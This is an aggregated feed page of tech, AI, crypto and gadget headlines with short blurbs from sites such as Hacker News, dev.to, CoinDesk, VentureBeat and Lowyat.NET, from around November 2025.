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    Introduction Resource Group acts as a logical container that holds related resources for an Azure solution, making it easier to deploy, monitor, and manage them collectively. In this lab, you’ll learn how to create a Resource Group using the Azure Portal, step by step. By the end, you’ll understand why Resource Groups are essential and how they fit into Azure’s resource hierarchy. Objectives Understand what a Resource Group is. Create a Resource Group using the Azure Portal. Verify the Resource Group deployment. Learn optional automation using Azure CLI and PowerShell. Prerequisites Active Azure subscription. Access to https://portal.azure.com. Basic understanding of Azure concepts. Key Terms Resource Group: A container that holds related Azure resources, such as virtual machines, storage…  ( 7 min )
    Recreating LinkedIn’s Crossclimb Game with Angular - Part 2
    In the previous article we wrote the main component for our app: the Word component. Now, it's time to implement some game logic! Create a models/game.ts file which will store our models. First, we have a GameInfo interface: this is what could be eventually be store on a server (we won't have one, but we'll pretend that we do). It stores the 5 middle words, each with its own hint, the 2 edge words (top and bottom) and a common hint. /** What comes from the server */ export interface GameInfo { words: Array; edgeWords: [string, string]; edgeHint: string; }; Then, we need a similar interface, which I called Game, which stores some additional strings: the user's current values. /** What we store in our component */ export interface Game { words: Arr…  ( 10 min )
    NPR Music: Emily King: Tiny Desk Concert
    Emily King’s Tiny Desk Concert feels like “getting hugged by a rose petal,” thanks to her silky vocals and a crack band that layers dreamy harmonies over heartbreak tunes like “Georgia” and “Down.” Between songs she radiates excitement, chatting about years of creating music with longtime collaborator Jeremy Most. She flips the mood with the self-boosting anthem “This Year” and reminds us that a “Special Occasion” is best celebrated together. Rounding out the set alongside “Distance,” it’s a feel-good performance that leaves you smiling (and maybe reaching for tissues). Watch on YouTube  ( 6 min )
    10 Years in: Why I Still Google Everything (And Why I’m Finally Okay With It)
    I've been a professional developer for 10 years. I've built roughly 7 production applications in that time. Just writing that makes me cringe a little—shouldn't it be more? But those 7 applications represent real users, real business needs, real maintenance, and real updates, especially when APIs break or I forget to include something and the application crashes. They're production systems that people depend on. And somehow, I still don't feel like a "real developer." I feel inadequate because with every new project, I have to Google things I've done several times. Things I feel a seasoned developer would know off the top of their head. I'm always looking for boilerplate code so I don't have to type the same HTML tags over and over again. I'm very thankful for reusable components. On more …  ( 7 min )
    Building a Production RAG System for Resume Search: What Actually Worked (and What Didn't)
    After 25 years in software development, I recently tackled a problem that's becoming increasingly common: implementing a production-ready RAG (Retrieval-Augmented Generation) system using AWS Bedrock Knowledge Bases. The use case was resume search for a recruiting database, and the results were significant enough that I wanted to share what worked, what didn't, and the gotchas I hit along the way. Recruiters were drowning in manual work. They'd run keyword searches against the resume database, then spend hours manually sifting through results trying to match candidates to job descriptions. The core issue? Basic keyword search doesn't understand context or semantic meaning. A job description asking for "frontend expertise with modern JavaScript frameworks" might miss excellent candidates wh…  ( 11 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Summary In the latest Ringer Movies episode, Bill Simmons, Sean Fennessey, and Van Lathan crown themselves “kings of the sewer” after diving back into Brian De Palma’s Snake Eyes, starring Nic Cage, Gary Sinise, and Carla Gugino. They unpack De Palma’s signature camera moves, Cage’s scene-stealing quirks, and the film’s over-the-top set pieces with their usual banter. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this podcast is brought to you by PayPal—score 5% cash back when you Pay in 4 all holiday long. Don’t forget to subscribe to The Ringer channels for more movie takes. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: A New High? - Predator: Badlands Review
    Predator: Badlands, the second PG-13 entry since 2004’s Alien vs. Predator, has won over fans and critics alike, smashing franchise opening-weekend box office records. Flipping the Predator from villain to hero in this sequel/Alien crossover clearly paid off. For a spoiler-packed deep dive, catch The Weekly Planet podcast every Monday on YouTube, Spotify, Apple Podcasts and more. Don’t miss early videos and bonus episodes at BigSandwich.co. Watch on YouTube  ( 6 min )
  • Open

    The emergence and diversification of dog morphology
    Comments
    Kubernetes Ingress Nginx is retiring
    Comments  ( 3 min )
    Disrupting the first reported AI-orchestrated cyber espionage campaign [pdf]
    Comments  ( 47 min )
    Guests ejected mid-stay from bankrupt hotel chain Sonder
    Comments  ( 20 min )
    650GB of Data (Delta Lake on S3). Polars vs. DuckDB vs. Daft vs. Spark
    Comments
    Blue Origin lands New Glenn rocket booster on second try
    Comments  ( 10 min )
    OpenMANET Wi-Fi HaLow open-source project for Raspberry Pi–based MANET radios
    Comments  ( 2 min )
    Programming the Commodore 64 with .NET
    Comments  ( 1 min )
    Piramidal (YC W24) Hiring: Front End Engineer
    Comments  ( 3 min )
    Needy Programs
    Comments  ( 3 min )
    Show HN: DBOS Java – Postgres-Backed Durable Workflows
    Comments  ( 14 min )
    Parsing Integers in C
    Comments  ( 5 min )
    He built underground maze of light-filled earth homes in CA Sierras [video]
    Comments
    When 1+1+1 Equals 1
    Comments  ( 17 min )
    A Landscape of Knowledge Games
    Comments  ( 11 min )
    SlopStop: Community-driven AI slop detection in Kagi Search
    Comments  ( 5 min )
    The Inference Economy: Why demand matters more than supply
    Comments
    IBM Patented Euler's 200 Year Old Math Technique for 'AI Interpretability'
    Comments
    Disrupting the first reported AI-orchestrated cyber espionage campaign
    Comments  ( 11 min )
    Rust in Android: move fast and fix things
    Comments  ( 29 min )
    Unicode Binary Input Terminal
    Comments  ( 7 min )
    Ask HN: Anyone else disillusioned with "AI experts" in their team?
    Comments  ( 9 min )
    The Eggstraordinary Fortress
    Comments  ( 5 min )
    Microsoft confirms Windows 11 is about to change gets enormous backlash – Neowin
    Comments
    Nano Banana can be prompt engineered for nuanced AI image generation
    Comments  ( 36 min )
    Let AI do the hard parts of your holiday shopping
    Comments  ( 15 min )
    Even Realities Smart Glasses: G2
    Comments  ( 13 min )
    Rand Paul: Congress bill destroys hemp farmer livelihoods
    Comments  ( 13 min )
    BAML is hiring compilers/rust engineers (YC W23)
    Comments  ( 7 min )
    Open Source and Local Code Mode MCP in Deno Sandboxes
    Comments  ( 10 min )
    The Monks in the Casino
    Comments  ( 25 min )
    Launch HN: Tweeks (YC W25) – Browser extension to de-enshittify the web
    Comments  ( 1 min )
    Zed Is Our Office
    Comments  ( 37 min )
    Hemp Ban Hidden Inside Government Shutdown Bill
    Comments  ( 21 min )
    Tesla Is Recalling Cybertrucks Again. Yep, More Pieces Are Falling Off
    Comments  ( 21 min )
    The marriage proposal that's hidden in two 1990s PlayStation games
    Comments
    European Nations Decide Against Acquiring Boeing E-7 Awacs Aircraft
    Comments
    SIMA 2: An Agent That Plays, Reasons, and Learns with You in Virtual 3D Worlds
    Comments  ( 12 min )
    We cut our Mongo DB costs by 90% by moving to Hetzner
    Comments  ( 5 min )
    GitHub Partial Outage
    Comments  ( 18 min )
    Google Posts Device Trees for Booting Pixel 10 with Mainline Linux Kernel
    Comments  ( 6 min )
    RRules (yes handling RSCALE) using only PL/pgSQL
    Comments  ( 21 min )
    Pebble: How to Build a Smartwatch: Software – Setting Expectations and Roadmap
    Comments  ( 16 min )
    Show HN: Kratos - Cloud native Auth0 open-source alternative (self-hosted)
    Comments  ( 17 min )
    Cursor: Past, Present, and Future
    Comments  ( 5 min )
    Denx (a.k.a. U-Boot) Retires
    Comments  ( 6 min )
    The Complete Work of Charles Darwin Online
    Comments
    When Reverse Proxies Surprise You: Hard Lessons from Operating at Scale
    Comments  ( 29 min )
    Heartbeats in Distributed Systems
    Comments  ( 12 min )
    Blender Lab
    Comments  ( 5 min )
    Britain's Railway Privatization Was an Abject Failure
    Comments  ( 11 min )
    Perfecting Baseline
    Comments  ( 7 min )
    Beauty in/of mathematics: tessellations and their formulas
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    Foliated Distance Fields [video]
    Comments
    Bluetooth Channel Sounding: The Next Leap in Bluetooth Innovation
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    Hack Club has been handling children's data for 4 years without a privacy policy
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    An Interview with Unity CEO Matthew Bromberg About Turnarounds
    Comments  ( 48 min )
    fuckborderradius.com
    Comments
    Hilbert space: treating functions as vectors
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    Seed. LINE's Custom Typeface
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    Telli (Voice AI – YC F24) is hiring ambitious engineers in [on-site, Berlin]
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    IBM Delivers New Quantum Package
    Comments  ( 8 min )
    Checkout.com hacked, refuses ransom payment, donates to security labs
    Comments  ( 11 min )
    Bret Victor the Future of Programming (2013) [video]
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    Fizz Buzz without conditionals or booleans
    Comments  ( 1 min )
    Reverse Engineering Yaesu FT-70D Firmware Encryption
    Comments  ( 21 min )
    The Pen and the Spade: The Poems of Seamus Heaney
    Comments  ( 7 min )
    Roma Lister, Aradia, and the Speculative Origins of a Witchcraft Revival
    Comments  ( 44 min )
    CollectWise (YC F24) Is Hiring
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    In Praise of Useless Robots
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    Android 16 QPR1 is being pushed to the Android Open Source Project
    Comments  ( 1 min )
    Meta replaces WhatsApp for Windows with web wrapper that uses 1 GB RAM when idle
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    Bitcoin's big secret: How cryptocurrency became law enforcement's secret weapon
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    Large integer precision error in Bash command output rendering
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    On USB HID, Keyboard LEDs, and device emulation (2024)
    Comments  ( 9 min )
    A Commentary on the Sixth Edition Unix Operating System
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    My dad could still be alive, but he's not
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    Temporal Dithering of NeoPixels on an ATtiny412
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    £220 'for a cut-up sock' — Apples's new iPhone Pocket ridiculed online
    Comments  ( 16 min )
    Human Fovea Detector
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    Google will allow users to sideload Android apps without verification
    Comments  ( 28 min )
    New Proofs Probe Soap-Film Singularities
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    Louisiana Took Months to Sound Alarm Amid Whooping Cough Outbreak
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  • Open

    From Pixels to Predictions: How GPUs Started Powering Modern AI
    When people think of artificial intelligence, they imagine complex models, data centers, and cloud servers. What most don’t realize is that the real engine behind this AI revolution started in a place few expected: inside the humble gaming PC. The ...  ( 7 min )
    How Bluetooth Socket Settings Power Android’s Low Power Island: A Friendly Deep Dive into AOSP’s Hidden Energy Saver
    Picture this: you’re sitting in a café with your laptop open, phone on the table, smartwatch buzzing every few minutes, and Bluetooth earbuds playing music. From your perspective, life is peaceful. From your phone’s perspective, it’s juggling a ridic...  ( 14 min )
    The Secret Life of Your CPU: Exploring the Low Power Island in Android Bluetooth
    If your phone were a person, it would probably be that overachieving friend who cannot sit still. The kind who insists they are relaxing while secretly running errands, replying to messages, and checking the weather at the same time. Inside your Andr...  ( 15 min )
    How to Keep LLM Outputs Predictable Using Pydantic Validation
    Large language models are powerful, but they can also be unpredictable. They might generate long explanations when you expect a short summary, skip fields in a JSON output, or change the format completely from one request to another. When you’re buil...  ( 7 min )
    What is TOON? How Token-Oriented Object Notation Could Change How AI Sees Data
    JSON, or JavaScript Object Notation, was popularized by Douglas Crockford in early 2000. Since then, there’s been no looking back. JSON has become the standardized data exchange format between client and server technologies. JSON was built for humans...  ( 8 min )
    System Design Patterns in Android Bluetooth [Full Handbook]
    If you’ve ever opened the Android Bluetooth source code, you might know this feeling. You go in with the calm confidence of a developer who just wants to understand how things work. You open BluetoothAdapter.java and think, “Ah, this looks clean.” Th...  ( 31 min )
    How to Solve 5 Common RAG Failures with Knowledge Graphs
    You may have built a Retrieval-Augmented Generation (RAG) pipeline to connect a vector store to a powerful LLM. And RAG pipelines are incredibly effective at grounding models in factual, up-to-date knowledge. But if you've worked with them long enoug...  ( 15 min )
    Learn Discrete Mathematics
    Discrete mathematics plays a key role in machine learning and algorithms. You can use it to find the shortest path (graph theory), encrypt files, compress data, and to do many other things. We just posted a discreet mathematics course on the freeCode...  ( 4 min )
    Build Complex Workflows with n8n & Master AI Integration
    n8n is an open-source workflow automation platform that lets you connect different apps, APIs, and services to easily automate tasks without needing to implement extensive code. We just posted a course on the freeCodeCamp.org YouTube channel that is ...  ( 4 min )
  • Open

    Solana Slides 5% to $145 as Technical Breakdown Overshadows ETF Momentum
    The token fell through key support despite elevated trading volume and continued institutional inflows into spot ETFs.  ( 32 min )
    Strategy Plunges to Weakest in 13 Months, but Still Trades at Premium to Bitcoin Holdings
    Alongside bitcoin's tumble back to $98,000, MSTR is lower by another 6.6% on Thursday, bringing its year-to-date decline to 30%.  ( 30 min )
    Retail Mood Sours Amid Crypto Selloff, Flashing Short-Term Bottom Signals for BTC, ETH, XRP
    A fresh wave of pessimism is sweeping across crypto markets, but the mood shift may be doing more good than harm.  ( 33 min )
    Chainlink Breaks Below $14.50 Amid Broader Selloff; Reserve Adds 74K LINK Despite Losses
    Technical breakdown occurred despite positive institutional developments as volume surged during selloff  ( 31 min )
    Stellar Tumbles Below Key $0.285 Support as Bears Take Over
    XLM retreated to $0.281 as selling pressure intensified during afternoon trading, with volume surging amid failed resistance test.  ( 32 min )
    Bitcoin Slides to $100K, Crypto Stocks Eviscerated as Liquidity Crunch Hammers Risk Markets
    Crypto’s U.S. trading-hour weakness continues as hopes for new 2025 BTC high fade, market strategist said.  ( 30 min )
    HBAR Drops 3.5% Breaking Support as ETF Inflows Hit $68 Million
    Hedera's native token retreats from $0.1817 to $0.1754 despite institutional accumulation.  ( 31 min )
    ICP Advances as Consolidation Holds Below $6.66 Resistance Price
    Internet Computer trades within a narrow range after an early-volume breakout attempt stalled, keeping the token pinned between key support at $6.05 and $6.66.  ( 31 min )
    Solana-Focused Upexi Approves $50M Share Buyback as Digital Asset Treasuries Turn to Repurchases
    The Solana-centric company is joining a growing list of crypto treasury companies opting to buy back shares as investor appetite for DATs vane.  ( 30 min )
    dYdX Governance Approves Buyback Increase to 75% of Protocol Revenue
    The new proposal, which 59.38% of the community approved, charts a course to raise the buy-back allocation up from 25% of net protocol fees.  ( 31 min )
    Emory University Doubles Down on Bitcoin With $52M Grayscale BTC ETF Stake
    The managers of the Georgia university's endowment are showing an inclination towards hard assets, opening a sizable position in a gold ETF as well.  ( 31 min )
    BONK Falls 3.9%, Sliding Below Support
    BONK dropped 3.9% to $0.00001223 as volume nearly doubled amid a breakdown through key support levels.  ( 31 min )
    Crypto for Advisors: Digital Asset Treasuries
    Evaluating crypto treasury companies: Are they hype or real value? Learn the key risks—premium, leverage, and regulation—advisors must consider for clients.  ( 36 min )
    Leading Base DEX Aerodrome Merges Into Aero in Major Overhaul
    Dromos Labs announced a major overhaul of its decentralized exchange infrastructure with the launch of Aero, a unified trading system that will merge its existing platforms across its networks.  ( 32 min )
    BNB Slips Below $960 as Traders Brace for More Downside Over Technical Headwinds
    The token is now rangebound, attempting to stabilize around $950, but analysts see a head-and-shoulders pattern forming, potentially indicating downside ahead.  ( 32 min )
    BNY Eyes $1.5T Stablecoin Market With New Reserve Fund for Issuers
    The bank aims to provide a key piece of infrastructure for stablecoin issuers to back the value of their tokens, similarly to BlackRock's Circle Reserve Fund for USDC.  ( 32 min )
    Zero-Knowledge Identity Startup Self Raises $9M, Introduces Points Program
    Self raised $9 million to expand its zero-knowledge identity platform and introduced a rewards program aimed at driving on-chain verification adoption.  ( 31 min )
    Singapore's Central Bank to Trial Tokenized Bills, Introduce Stablecoin Laws
    The Monetary Authority of Singapore sees a wholesale CBDC as an anchor for a system in which private settlement assets are used for different market needs.  ( 31 min )
    First XRP Spot ETF Opens for Trade With Canary Capital's XRPC
    XRP is the latest token to be wrapped in a spot exchange-traded fund after the introduction of bitcoin and ether funds 2024 and solana just weeks ago.  ( 31 min )
    First XRP Spot ETF Opens for Trade With Canary Capital's XRPC
    XRP is the latest token to be wrapped in a spot exchange-traded fund after the introduction of bitcoin and ether funds 2024 and solana just weeks ago.  ( 31 min )
    CoinDesk 20 Performance Update: Ripple (XRP) Gains 5.1% As Nearly All Assets Rise
    Uniswap (UNI) was also among the top performers, up 4.1% from Wednesday.  ( 28 min )
    Crypto Asset Manager Grayscale Files for IPO in the U.S.
    The crypto asset manager submitted an S-1 to the SEC for a proposed stock offering as industry players accelerate moves into U.S. public markets.  ( 31 min )
    Ethereum Layer-2 RISE Unveils RISEx and MarketCore to Build Global On-Chain Markets
    The move comes as RISE’s acquired BSX Labs, a perp DEX on layer-2 Base, whose technology will underpin RISE’s new global markets offering.  ( 32 min )
    Circle Unveils StableFX to Power Onchain Currency Trading on Upcoming Arc Blockchain
    The USDC issuer's new stablecoin foreign exchange engine aims to modernize cross-border payments, reduce risk and streamline settlement.  ( 32 min )
    UFC to Debut Fan Prediction Scoreboard in Polymarket Deal
    TKO inks multi-year pact with Polymarket, bringing real-time sentiment tracking to UFC and Zuffa Boxing broadcasts.  ( 32 min )
    Czech Central Bank Becomes First Central Bank to Buy Bitcoin
    The bank said it created a $1 million "test portfolio" of digital assets, mostly made up of bitcoin.  ( 30 min )
    December Fed Rate Cut: A Toss-Up
    Odds of a Federal Reserve rate cut in December have fallen to about 52%, indicating increased investor uncertainty.  ( 30 min )
    Solana in the Shade: Crypto Daybook Americas
    Your day-ahead look for Nov. 13, 2025  ( 38 min )
    Crypto Markets Today: Bitcoin Holds $103K, Altcoins Consolidate on 'Fearful' Sentiment
    Bitcoin and ether steadied on Thursday while altcoins faced sharper pullbacks, with AERO, STRK and FET leading declines as market sentiment remained firmly in “fear” territory.  ( 34 min )
    Ark Invest Buys $30.5M Circle Shares as Stock Falls 12%
    Cathie Wood's investment firm added a total 353,328 CRCL shares across three of its ETFs: Innovation (ARKK), Next Generation Internet (ARKW) and Fintech Innovation (ARKF).  ( 30 min )
    How Bitcoin and XRP Traders Are Positioning Themselves in a Choppy Market Environment
    Large traders are employing divergent options strategies in a directionless market.  ( 34 min )
    Firm Behind First U.S. Spot XRP ETF Files for MOG Fund
    The token is described in Canary’s filing as both a memecoin and a “cultural statement.”  ( 31 min )
    Peak Degen Warfare? Alleged POPCAT Manipulation Hits Hyperliquid with $4.9M Loss
    Hyperliquid reportedly took a bad debt of $4.9 million due to alleged POPCAT manipulation.  ( 30 min )
    Tokyo Exchange Operator Mulls Limits on Digital Asset Treasury Firms: Report
    The operator is exploring stricter enforcement of listing rules and audits to protect investors.  ( 30 min )
    XRP Moves 3% as Ripple-Linked Token's ETF to Go Live at U.S. Market Open
    Token rallies through key resistance with 31% volume surge as Nasdaq certifies first U.S. spot XRP ETF  ( 34 min )
    Dogecoin Tests Weekly EMA Support as Bears Drive 5% Slide
    The sharp move unfolded within a $0.0121 range as price action confirmed a textbook lower-high, lower-low formation.  ( 33 min )
    Bitcoin Cash Gains 1.9% to $518 Breaking Key Resistance
    Technical breakout drives BCH higher as institutional accumulation emerges above $515 support  ( 32 min )
    Bitcoin Price Dips 0.9% as Heavy Volume Breakdown Tests Key Support
    BTC pulls back from session peaks above $105,300 with exceptional selling pressure before finding footing near $102,000 psychological threshold.  ( 33 min )
    House Votes to Reopen Government as Congress Suddenly Ramps Up Crypto Work
    The House of Representatives voted in favor of a monthslong funding measure late Wednesday.  ( 31 min )
  • Open

    Baidu unveils proprietary ERNIE 5 beating GPT-5 performance on charts, document understanding and more
    Mere hours after OpenAI updated its flagship foundation model GPT-5 to GPT-5.1, promising reduced token usage overall and a more pleasant personality with more preset options, Chinese search giant Baidu unveiled its next-generation foundation model, ERNIE 5.0, alongside a suite of AI product upgrades and strategic international expansions. The goal: to position as a global contender in the increasingly competitive enterprise AI market. Announced at the company's Baidu World 2025 event, ERNIE 5.0 is a proprietary, natively omni-modal model designed to jointly process and generate content across text, images, audio, and video. Unlike Baidu’s recently released ERNIE-4.5-VL-28B-A3B-Thinking, which is open source under an enterprise-friendly and permissive Apache 2.0 license, ERNIE 5.0 is a pr…
    Upwork study shows AI agents excel with human partners but fail independently
    Artificial intelligence agents powered by the world's most advanced language models routinely fail to complete even straightforward professional tasks on their own, according to groundbreaking research released Thursday by Upwork, the largest online work marketplace. But the same study reveals a more promising path forward: When AI agents collaborate with human experts, project completion rates surge by up to 70%, suggesting the future of work may not pit humans against machines but rather pair them together in powerful new ways. The findings, drawn from more than 300 real client projects posted to Upwork's platform, marking the first systematic evaluation of how human expertise amplifies AI agent performance in actual professional work — not synthetic tests or academic simulations. The re…
    Inside LinkedIn’s generative AI cookbook: How it scaled people search to 1.3 billion users
    LinkedIn is launching its new AI-powered people search this week, after what seems like a very long wait for what should have been a natural offering for generative AI. It comes a full three years after the launch of ChatGPT and six months after LinkedIn launched its AI job search offering. For technical leaders, this timeline illustrates a key enterprise lesson: Deploying generative AI in real enterprise settings is challenging, especially at a scale of 1.3 billion users. It’s a slow, brutal process of pragmatic optimization. The following account is based on several exclusive interviews with the LinkedIn product and engineering team behind the launch. First, here’s how the product works: A user can now type a natural language query like, "Who is knowledgeable about curing cancer?" into L…
    Alembic melted GPUs chasing causal A.I. — now it's running one of the fastest supercomputers in the world
    Alembic Technologies has raised $145 million in Series B and growth funding at a valuation 13 times higher than its previous round, betting that the next competitive advantage in artificial intelligence will come not from better language models but from proprietary data and causal reasoning. The San Francisco-based startup, which builds AI systems that identify cause-and-effect relationships rather than mere correlations, is using a significant portion of the capital to deploy what it claims is one of the fastest privately owned supercomputers ever built — an Nvidia NVL72 superPOD that will power its enterprise-grade causal AI models. The investment, led by Prysm Capital and Accenture with participation from Silver Lake Waterman, Liquid 2 Ventures, NextEquity, Friends & Family Capital and …
  • Open

    EmTech AI 2025: How AI is revolutionizing science
    President of Microsoft Research Peter Lee elaborates on the future of AI, uncovering emerging trends, hidden opportunities, and breakthrough innovations that are not yet visible to most.  ( 15 min )
    What’s Next for AI?
    President of Microsoft Research Peter Lee elaborates on the future of AI, uncovering emerging trends, hidden opportunities, and breakthrough innovations that are not yet visible to most.  ( 15 min )
    OpenAI’s new LLM exposes the secrets of how AI really works
    ChatGPT maker OpenAI has built an experimental large language model that is far easier to understand than typical models. That’s a big deal, because today’s LLMs are black boxes: Nobody fully understands how they do what they do. Building a model that is more transparent sheds light on how LLMs work in general, helping researchers…  ( 21 min )
    Google DeepMind is using Gemini to train agents inside Goat Simulator 3
    Google DeepMind has built a new video-game-playing agent called SIMA 2 that can navigate and solve problems in a wide range of 3D virtual worlds. The company claims it’s a big step toward more general-purpose agents and better real-world robots.    Google DeepMind first demoed SIMA (which stands for “scalable instructable multiworld agent”) last year. But…  ( 22 min )
    The Download: AI to measure pain, and how to deal with conspiracy theorists
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. AI is changing how we quantify pain Researchers around the world are racing to turn pain—medicine’s most subjective vital sign—into something a camera or sensor can score as reliably as blood pressure. The…  ( 23 min )
    Google is still aiming for its “moonshot” 2030 energy goals
    Last week, we hosted EmTech MIT, MIT Technology Review’s annual flagship conference in Cambridge, Massachusetts. Over the course of three days of main-stage sessions, I learned about innovations in AI, biotech, and robotics.  But as you might imagine, some of this climate reporter’s favorite moments came in the climate sessions. I was listening especially closely…  ( 21 min )
  • Open

    Guerrilla Games Officially Announces Horizon Steel Frontiers MMORPG
    Guerrilla Games (Guerrilla) announced the latest title in its Horizon IP, Horizon Steel Frontiers. Unlike the previous instalments, the game is a cross-platform Massive Multiplayer Online RPG (MMORPG). The studio collaborated with NCSoft, the South Korean developer and studio behind two other MMORPGs, Lineage and Guild Wars. “We’ve loved collaborating with NCSOFT and are beyond […] The post Guerrilla Games Officially Announces Horizon Steel Frontiers MMORPG appeared first on Lowyat.NET.  ( 34 min )
    Kelana Jaya LRT To Receive Signalling System Upgrades; 17 Stations To Be Affected
    LRT commuters be advised. Rapid KL has announced that it will be upgrading the signalling system of the Kelana Jaya LRT Line on selected dates. As a result, the line will be experiencing some downtime. As per the official Rapid KL Facebook post, the downtime will only take place on 15 and 16 November from […] The post Kelana Jaya LRT To Receive Signalling System Upgrades; 17 Stations To Be Affected appeared first on Lowyat.NET.  ( 34 min )
    BYD Previews Shark 6 PHEV Pickup Truck In Malaysia
    BYD recently previewed its Shark 6 (known as Shark in other markets) during the BYD Tech Discovery 2025. This marks the plug-in hybrid (PHEV) pick-up truck’s first appearance in the Malaysian market, highlighting the automaker’s Dual Mode Off-road (DMO) Super Hybrid technology. As previously reported, the Shark 6 features a boxy body profile with a […] The post BYD Previews Shark 6 PHEV Pickup Truck In Malaysia appeared first on Lowyat.NET.  ( 35 min )
    vivo X300 Series Officially Launches In Malaysia; Starts From RM3,599
    vivo has officially launched its vivo X300 flagship series in Malaysia, which consists of a standard model and a Pro variant. Today’s event fully unveils the specifications for both models, along with their respective local pricing. On the things they have in common, both the X300 and X300 Pro run Android 16 via vivo’s new […] The post vivo X300 Series Officially Launches In Malaysia; Starts From RM3,599 appeared first on Lowyat.NET.  ( 36 min )
    Mastercard Aims For Password-Free, Number-Free Transactions In APAC By 2030
    Mastercard is aiming for password-free and number-free checkouts across the Asia Pacific (APAC) by the year 2030. To that end, the payment service provider is rallying banks, merchants, digital wallets, and technology partners to fully embrace tokenised payments via biometric authentication. “The vision is simple: no passwords, no manual card entry, no friction,” Sandeep Malhotra, […] The post Mastercard Aims For Password-Free, Number-Free Transactions In APAC By 2030 appeared first on Lowyat.NET.  ( 33 min )
    Home Ministry Implements Four AI Resolutions To Bolster National Security
    As Malaysia continues to advance its AI ambitions, the Home Ministry (KDN) will implement four key resolutions on the technology to enhance the country’s national security ecosystem. Minister Datuk Seri Saifuddin Nasution Ismail stated that these resolutions were reached at the AI Transformation for Security Symposium 2025. The minister went on to explain that artificial […] The post Home Ministry Implements Four AI Resolutions To Bolster National Security appeared first on Lowyat.NET.  ( 34 min )
    Perodua Unveils Own EV Home Charger At GATE 2025
    Recently, at the ongoing Global Automotive and Technology Expo (GATE) 2025, national automaker Perodua unveiled its very own EV home charger. This is a key aspect of its EV ecosystem that is being built around its fully electric model (EV) that is set to debut this month. The home charger will be fully integrated with […] The post Perodua Unveils Own EV Home Charger At GATE 2025 appeared first on Lowyat.NET.  ( 35 min )
    Samsung Movingstyle LSM7F Is A Portable 27-Inch Touchscreen Display With A Handle
    Samsung has officially launched the Movingstyle LSM7F, a portable 27-inch touchscreen display with a three-hour battery life. There’s a big emphasis on the portability aspect of the device, as users can easily move it around on a rollable stand or carry it like a giant briefcase. Specs-wise, the display sports a 27-inch LED panel with […] The post Samsung Movingstyle LSM7F Is A Portable 27-Inch Touchscreen Display With A Handle appeared first on Lowyat.NET.  ( 35 min )
    macOS 26.2 Developer Beta Introduces Edge Light Feature For Brighter Video Calls
    Apple is rolling out its latest developer beta for macOS 26.2. This update introduces a new feature called Edge Light, which serves to improve the user experience during video calls. Essentially, it allows the display to function as a ring light. For the most part, the new feature is pretty straightforward. The Edge Light creates […] The post macOS 26.2 Developer Beta Introduces Edge Light Feature For Brighter Video Calls appeared first on Lowyat.NET.  ( 34 min )
    Valve Announces Steam Frame VR Headset
    It has been a good while since Valve released anything major on the hardware side of things. But now, after years of waiting, the company has finally announced three new products coming in 2026. This lineup comprises the new Steam Machine, the Steam Controller, and the subject of this article, the Steam Frame VR headset. […] The post Valve Announces Steam Frame VR Headset appeared first on Lowyat.NET.  ( 35 min )
    Government Approves Unified e-Mobility Platform To Streamline EV Charging Nationwide
    Back in March this year, the Town and Country Planning Department (PLANMalaysia), under the Ministry of Housing and Local Government (KPKT) proposed to develop an application to bring all electric vehicle (EV) charging providers, such as Shell Recharge, Charge EV and others under one platform. According to PLANMalaysia, the goal of the proposed app is […] The post Government Approves Unified e-Mobility Platform To Streamline EV Charging Nationwide appeared first on Lowyat.NET.  ( 34 min )
    Valve Unveils Steam Machine And Steam Controller
    Valve has announced that it is expanding its Steam hardware lineup with three new products. Among these additions are some familiar names, as the company is reviving some items it discontinued quite a while back. Yes, the Steam Machine and the Steam Controller are making a return of sorts. Starting with the Steam Machine, it’s […] The post Valve Unveils Steam Machine And Steam Controller appeared first on Lowyat.NET.  ( 35 min )
    Insta360 Introduces New Grip, Printer And Lenses For The Ace Pro 2
    Insta360 has announced a new range of accessories for its recently launched Ace Pro 2 action camera, expanding its capabilities for both video and photography. The lineup includes three attachable lenses, a redesigned grip with built-in controls and extra battery life, and a compact wireless printer that produces instant laminated photo prints. The highlight of […] The post Insta360 Introduces New Grip, Printer And Lenses For The Ace Pro 2 appeared first on Lowyat.NET.  ( 35 min )
    Fahmi: U Mobile Must Hit 80% 5G Coverage Within First Year of Operations
    U Mobile has been tasked with achieving 80% 5G coverage in populated areas within its first year of operation and 95% by the third year, according to its detailed business plan (DBP) for leading Malaysia’s second 5G network. The targets were disclosed by Communications Minister Datuk Fahmi Fadzil in a written parliamentary reply yesterday. Fahmi […] The post Fahmi: U Mobile Must Hit 80% 5G Coverage Within First Year of Operations appeared first on Lowyat.NET.  ( 34 min )
    ASUS Announces Availability Of New Tandem OLED Gaming Monitors In Malaysia
    ASUS is announcing the availability of its latest Swift OLED PG27AQWP-W and Strix OLED XG27AQWMG gaming monitors in Malaysia. The two displays are expected to be available on store shelves by the end of the month. Both these 27-inch QHD gaming monitors feature the latest Tandem OLED technology, with the promise of delivering brighter visuals, […] The post ASUS Announces Availability Of New Tandem OLED Gaming Monitors In Malaysia appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Eleven Labs Debuts "Iconic Marketplace" Feat Michael Caine, Judy Garland, Others
    Comments  ( 66 min )
    Voyager 1 is a light-day away by November 2026
    Comments  ( 16 min )
    Valve is about to win the console generation
    Comments  ( 6 min )
    Silverbullet: Personal productivity platform built with Markdown and Lua
    Comments  ( 11 min )
    Jasmine: A Simple, Performant and Scalable Jax-Based World Modeling Codebase
    Comments  ( 2 min )
    Marble: A Multimodal World Model
    Comments  ( 19 min )
    Homebrew no longer allows bypassing Gatekeeper for unsigned/unnotarized software
    Comments  ( 12 min )
    OmniAI (YC W24) Is Hiring Forward Deployed Engineers
    Comments  ( 6 min )
    I built a platform where audiences fund debates between public thinkers
    Comments  ( 4 min )
    FEX-emu – run x86 applications on ARM64 Linux devices
    Comments  ( 1 min )
    Making the Clang AST Leaner and Faster
    Comments  ( 7 min )
    LLM Output Drift in Financial Workflows: Validation and Mitigation (arXiv)
    Comments  ( 3 min )
    GLP-1 drugs linked to lower death rates in colon cancer patients
    Comments  ( 3 min )
    As 'Dorian Gray' ages, its relevance only grows
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    Is your electric bill going up? AI is partly to blame
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    Looking for Hidden Gems in Scientific Literature
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    GPT-5.1: A smarter, more conversational ChatGPT
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    Why CUDA translation wont unlock AMD
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    Blasting Yeast with UV Light
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    How Tube Amplifiers Work
